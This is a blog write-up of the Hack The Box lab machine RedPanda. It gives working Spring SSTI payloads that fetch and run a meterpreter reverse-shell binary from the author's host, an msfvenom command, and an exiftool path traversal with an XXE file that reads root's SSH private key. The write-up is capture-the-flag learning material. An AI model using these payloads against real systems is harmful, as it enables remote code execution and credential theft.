C R E A T E & D E S T R OY


RedPanda | Hack The Box

Nmap scan report for 10.129.52.46
Host is up (0.021s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

First nmap results, not a lot to go at other than to investigate the web app.

If we hit search without anything in we get a bit of info about potential usernames.

We can also quickly discover the search bar is vulnerable to SSTI:

After following the HackTricks cheat sheet and googling the resulting error I find this cheat sheet for SpringFramework and find the template is vulnerable to the following test: {“dfd”.replace(“d”,”x”)}

{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://10.10.14.27:8008")}

Using the following URL encoded payload we can get a CURL request back to our box, so it’s definitely working.

After various attempts at a reverse shell, between banned characters and failures I realise we can download a file to the server and potentially execute it, so creating a payload with msfvenom

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.27 LPORT=1234 -f elf -o reverse.elf

{"".getClass().forName("java.lang.Runtime").getRuntime().exec("wget http://10.10.14.27:8008/reverse.elf")}
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("chmod +x reverse.elf")}
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("./reverse.elf")}

Using the following series of payloads we’re able to pop a shell on the box and grab the initial user flag.

User & Groups: uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)

We see that our user (woodenk) is a member of the logs group, presumably we’ll be able to sniff out something juicy.

Inside /opt folder there’s a panda_search directory. Searching for our user ‘woodenk’ sends us to the file panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java which contains our credentials, as well as informing us they’re for MySQL credentials. Unfortunately the database contains nothing other than the JPG information we’ve already seen in the search function.

#!/bin/bash
/usr/bin/find /tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.jpg" -exec rm -rf {} \;

Back up /opt there’s a file named cleanup.sh that seems to remove xml files from a bunch of directories. It doesn’t appear to be running as a cron job but I’ll create an xml file and see if it’s deleted. While doing so I use a tool call Pspy to see what processes root is running I see an unusual set of processes.

                           2022/09/22 13:52:01 CMD: UID=0    PID=32668  | /bin/sh -c /root/run_credits.sh 
2022/09/22 13:52:01 CMD: UID=0    PID=32670  | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar 
2022/09/22 13:52:01 CMD: UID=0    PID=32669  | /bin/sh /root/run_credits.sh 
       

After downloading and reading through the JAR file I come across the function of the running app. It’s using log files to attribute points to users based on who views their images (you can read a little about this in the actual app). It takes the “Artist” information from the exifdata and then inside the /credits/ folder will do “Artist” +_creds.xml for it’s xml file. We can read the contents of /credits/woodenk_creds.xml but cannot edit it.

What this means is we can edit the exifdata of an existing JPG to traverse the directories back to our own malicious XML file containing an XXE and execute arbitrary code. Rather than a shell, I’ll use it to copy the root user’s SSH keys.

exiftool -Artist="../tmp/greg" greg.jpg 

First we’ll point to the location of our files. When the app reads the Artist info it’ll look for greg_creds.xml in /tmp/.

Then our malicious XXE.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa" >]>
<credits>
  <author>gg</author>
  <image>
    <uri>/../../../../../../tmp/greg.jpg</uri>
    <views>1</views>
    <foo>&xxe;</foo>
  </image>
  <totalviews>2</totalviews>
</credits>

Once again using PayloadsAllTheThings for our XXE code, as well as some of the syntax from the file we can read in /credits/.

All that’s left to do now is trigger the JAR app. I couldn’t figure out a way to force the directory traversal from my browser but then realised I had write access to it via the reverse shell (logs) group. With this we can directly insert out fake information and trigger everything.

200||1.3.3.7||test||/../../../../../../tmp/greg.jpg

After a few moments, when we check our XML file we should see…

Whew I found this quite tough. A long time looking at Java to understand what’s going on but at least the SSTI was straight forward.

Leave a Reply

Your email address will not be published. Required fields are marked *